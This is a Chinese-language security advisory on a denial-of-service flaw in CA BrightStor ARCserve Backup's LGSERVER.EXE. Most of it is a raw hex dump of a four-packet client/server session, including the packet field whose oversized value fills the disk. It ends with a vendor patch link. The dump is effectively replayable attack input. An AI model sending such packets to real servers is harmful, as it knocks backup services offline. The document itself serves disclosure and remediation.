CA BrightStor ARCServe BackUp LGServer资源耗尽漏洞

BrightStor ARCserve Backup可为各种平台的服务器提供备份和恢复保护功能。 BrightStor ARCserve Backup在处理用户请求时存在漏洞，远程攻击者可能利用此漏洞导致服务器消耗大量磁盘资源。 每次用户试图验证到LGSERVER.EXE都会在D:\CA_BABLDdata\Server\data\transfer中创建一个文件。该文件扩展名为.USX，格式类似于RWXXX.usx，其中X为0-9或A-F的值。 在协商期间16进制地址（DWORD）0x15到0x18上的第三个报文中值为0x00 0x00 0x00 0x00，然后是CoreDataDB。如果发送了这个报文，就会将上述内容写入到这个USX文件。但如果在0x15到0x18地址所传送的DWORD值为0xff 0xff 0xff 0x7f，就会向USX文件中写入额外2,096,153KB的NULL，导致拒绝服务。 以下为会话示例： 客户端报文1 Raw Data 4e 3d 2c 1b 00 00 00 00 00 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 ( ) 服务端 Raw Data 4e 3d 2c 1b 00 00 00 00 fe 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) 服务端 Raw Data 4e 3d 2c 1b 00 00 00 00 ff 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) 客户端报文2 Raw Data 4e 3d 2c 1b 00 00 00 00 02 00 00 00 00 00 00 00 (N=, ) 06 00 00 00 ce 03 00 00 52 57 31 42 34 00 ( RW1B4 ) 服务端 Raw Data 4e 3d 2c 1b 00 00 00 00 fe 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) 客户端报文3 Raw Data 4e 3d 2c 1b 00 00 00 00 03 00 00 00 00 00 00 00 (N=, ) ce 03 00 00 00 00 00 00 43 6f 72 65 44 61 74 61 ( CoreData) 44 42 00 00 01 00 00 00 00 00 0a 00 ce 03 00 00 (DB ) 00 00 00 00 01 00 00 00 10 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 02 00 00 00 00 00 00 4a 00 00 00 00 00 ( J ) 00 01 4a 02 00 00 00 00 00 00 00 00 00 00 00 00 ( J ) 00 00 4a 02 00 00 00 00 00 00 50 00 00 00 00 00 ( J P ) 00 01 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 9a 02 00 00 00 00 00 00 52 00 00 00 00 00 ( R ) 00 01 ec 02 00 00 00 00 00 00 04 00 00 00 00 00 ( ) 00 00 f0 02 00 00 00 00 00 00 52 00 00 00 00 00 ( R ) 00 01 42 03 00 00 00 00 00 00 0c 00 00 00 00 00 ( B ) 00 00 4e 03 00 00 00 00 00 00 14 00 00 00 00 00 ( N ) 00 02 62 03 00 00 00 00 00 00 04 00 00 00 00 00 ( b ) 00 00 66 03 00 00 00 00 00 00 12 00 00 00 00 00 ( f ) 00 02 78 03 00 00 00 00 00 00 04 00 00 00 00 00 ( x ) 00 00 7c 03 00 00 00 00 00 00 0e 00 00 00 00 00 ( | ) 00 02 8a 03 00 00 00 00 00 00 17 00 00 00 00 00 ( ) 00 00 a1 03 00 00 00 00 00 00 11 00 00 00 00 00 ( ) 00 02 b2 03 00 00 00 00 00 00 1c 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 ( ) 00 00 01 00 00 00 03 00 00 00 f0 b4 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 01 00 00 00 04 00 00 00 06 00 43 6f 6e 66 ( Conf) 69 67 06 00 00 00 05 00 00 00 29 9f 07 00 00 00 (ig ) ) 12 92 09 00 00 00 1f 9b 0b 00 00 00 57 92 0d 00 ( W ) 00 00 b6 ad 0f 00 00 00 72 9c 00 00 00 00 00 00 ( r ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 03 00 00 00 06 00 00 00 08 00 55 73 65 72 ( User) 4e 61 6d 65 00 00 00 00 00 00 00 00 00 00 00 00 (Name ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 6d 61 72 6b 03 00 00 00 08 00 00 00 ( mark ) 08 00 50 61 73 73 77 6f 72 64 00 00 00 00 00 00 ( Password ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ( ) 00 00 00 00 00 00 00 00 00 00 6a 86 fb b5 8d 2b ( j +) 1b a4 40 e1 b6 73 03 00 00 00 0a 00 00 00 0a 00 ( @ s ) 55 73 65 72 53 74 61 74 75 73 11 00 00 00 03 00 (UserStatus ) 00 00 0c 00 00 00 08 00 43 6f 64 65 50 61 67 65 ( CodePage) e4 04 00 00 03 00 00 00 0e 00 00 00 04 00 48 6f ( Ho) 73 74 67 73 72 6c 2d 74 65 73 74 2e 67 73 72 6c (stgsrl-test.gsrl) 2d 74 65 73 74 2e 6e 65 74 03 00 00 00 10 00 00 (-test.net ) 00 07 00 56 65 72 73 69 6f 6e 31 31 2e 31 2e 37 ( Version11.1.7) 34 32 3a 57 69 6e 64 6f 77 73 20 53 65 72 76 65 (42:Windows Serve) 72 20 32 30 30 33 (r 2003) 客户端报文4 Raw Data 4e 3d 2c 1b 00 00 00 00 04 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) 服务端 Raw Data 4e 3d 2c 1b 00 00 00 00 fe 00 00 00 00 00 00 00 (N=, ) 00 00 00 00 00 00 00 00 ( ) Computer Associates BrightStor ARCserve Backup for Laptops &amp; Desktops r11.1 Computer Associates ------------------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： <a href="http://supportconnectw.ca.com/public/sams/lifeguard/infodocs/babldimpsec-notice.asp" target="_blank">http://supportconnectw.ca.com/public/sams/lifeguard/infodocs/babldimpsec-notice.asp</a>